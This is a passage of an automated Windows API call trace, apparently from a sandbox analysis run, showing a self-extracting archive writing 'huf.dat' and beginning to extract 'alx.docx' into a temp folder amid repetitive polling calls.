(in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.552] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.553] GetTickCount () returned 0x1fc19 [0068.553] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.553] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.553] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.553] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.554] GetTickCount () returned 0x1fc19 [0068.554] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.554] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x20b, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x20b, lpOverlapped=0x0) returned 1 [0068.554] GetTickCount () returned 0x1fc19 [0068.554] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.554] SetFilePointer (in: hFile=0x1c, lDistanceToMove=876132, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd5e64 [0068.554] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.554] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.554] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.555] CloseHandle (hObject=0x138) returned 1 [0068.555] SetFileAttributesA (lpFileName="huf.dat", dwFileAttributes=0x20) returned 1 [0068.555] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd5e64 [0068.555] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.555] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x26, lpOverlapped=0x0) returned 1 [0068.555] OemToCharA (in: pSrc="alx.docx", pDst=0x179cc0 | out: pDst="alx.docx") returned 1 [0068.555] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="alx.docx", cchCount2=1) returned 1 [0068.556] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="alx.docx", cchCount2=6) returned 1 [0068.556] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="alx.docx", cchCount2=-1) returned 1 [0068.556] SetFilePointer (in: hFile=0x1c, lDistanceToMove=876177, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd5e91 [0068.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="alx.docx") returned 9 [0068.556] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41aab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.556] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting alx.docx") returned 19 [0068.556] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting alx.docx") returned 1 [0068.556] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.556] OemToCharBuffA (in: lpszSrc="a", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="a") returned 1 [0068.556] CharToOemBuffA (in: lpszSrc="A", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="A") returned 1 [0068.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="alx.docx") returned 9 [0068.556] FindFirstFileW (in: lpFileName="alx.docx", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.556] GetLastError () returned 0x2 [0068.556] GetFileAttributesA (lpFileName="alx.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\alx.docx")) returned 0xffffffff [0068.556] CreateFileA (lpFileName="alx.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\alx.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.556] GetFileType (hFile=0x138) returned 0x1 [0068.556] SetFilePointer (in: hFile=0x138, lDistanceToMove=521, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x209 [0068.556] SetEndOfFile (hFile=0x138) returned 1 [0068.556] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.557] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1ab, lpOverlapped=0x0) returned 1 [0068.557] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.557] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.557] GetTickCount () returned 0x1fc19 [0068.557] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.557] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.557] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.557] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.557] GetTickCount () returned 0x1fc19 [0068.557] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.557] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.557] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.557] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.557] GetTickCount () returned 0x1fc19 [0068.557] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.557] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.557] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.557] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.557] GetTickCount () returned 0x1fc19 [0068.557] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.557] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.557] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.557] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.557] GetTickCount () returned 0x1fc19 [0068.557] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.557] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.557] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.557] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.557] GetTickCount () returned 0x1fc19 [0068.557] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.557] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.557] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.558] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.558] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.558] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.558] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.558] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.558] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: 